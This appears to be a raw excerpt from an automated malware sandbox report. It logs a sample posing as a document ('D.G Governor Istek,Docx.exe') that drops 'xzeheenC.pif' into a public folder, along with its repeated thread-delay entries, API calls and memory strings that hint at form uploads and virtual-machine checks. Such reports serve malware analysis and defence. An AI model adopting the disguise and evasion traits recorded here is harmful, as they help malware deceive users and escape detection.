Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -595827s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -595718s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -595609s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -595500s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -595390s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -595281s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -595171s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -595062s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -594953s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -594843s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -594734s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -594625s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -594515s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -594406s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -594296s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -594187s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Code function: 0_2_029C58B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_029C58B4

Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598870	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598750	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598297	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597024	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596907	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596782	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596657	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595266	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595157	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595032	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594907	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599325	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598407	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598296	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598061	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597767	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597655	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597539	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596969	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595715	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595266	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595033	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594532	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594407	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594282	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594157	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594032	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 593922	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599875
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599765
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599656
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599515
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599405
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599282
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599000
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598795
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598686
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598577
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598453
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598343
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598234
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598124
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598015
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597906
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597796
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597687
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597578
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597468
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597359
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597250
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597140
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597031
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596921
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596812
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596703
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596586
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596484
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596374
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596265
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596156
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596046
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595937
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595827
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595718
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595609
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595500
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595390
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595281
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595171
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595062
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594953
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594843
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594734
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594625
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594515
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594406
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594296
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594187

Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd241d958a93e9<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd20ed9b305c5d<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd232b76f6085e<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd22efb27445d5<
Source: xzeheenC.pif, 00000009.00000002.3471546461.000000003461A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1fc2f018f4d8<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd210a7f89af93<
Source: xzeheenC.pif, 0000000D.00000002.3467243352.000000002ED66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllR-
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd21b3074f62f3<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2480fc2e3ffd<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd218ddbcb8c7b<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D547000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd229ac9c02cfe<
Source: xzeheenC.pif, 00000009.00000002.3471546461.00000000345C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1f4d2fc2fa98
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2125107c93fb<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd20ef893a5471<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1f7b1dfba8e0
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd227b407d5dfd<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D3F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1facead84021
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd22ac30a66dbf<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd236fb4dcf471<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1f4d24e5b12f
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd214541f09a2e<
Source: xzeheenC.pif, 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd21d05113ef78<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2347cf9f5e67<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd212895f468d0<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1f4d2162bfeb
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd211ac1c4f774<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd23b767e4612b<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd206c71d33bae<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2032ce18b5a9<
Source: xzeheenC.pif, 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2161f5499881<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd22de6d3ef3c7<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd28b07a2e3bf6<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd221a131b77fa<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2056fe5a93ed<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd22c3003a5e58<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D547000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd225faa7b54ce<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd21322c4586e7<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2541c39c92aa<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2941500303d9<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2470cc4c7c4c<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd23ee6cc60601<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd24f1d8f190ea<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd25d7579be125<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2410d566cb44<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2253ee1debeb<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D423000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd20e90cf9d34f<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2049c4599bf0<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D3F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2056f7803414<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd20af00185e1e<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd21acbc242eed<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1f7c87e875f8
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd23a7e0c358b1<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd20d938fe0172<
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2236856476.00000000007B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd208e2eaa00de<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd25151bda7f10<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd26047d4600f9<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd21699b4eabd7<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D3F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd203ec07e1085
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2570877d30d9<
Source: xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd1f9415ada89a<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd26086a764c20<
Source: xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2081d1ada311<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd21d585647a82<
Source: xzeheenC.pif, 00000004.00000002.3466173461.000000001B216000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllZ?e
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd2813e0605d29<
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd23627ca5d7a5<
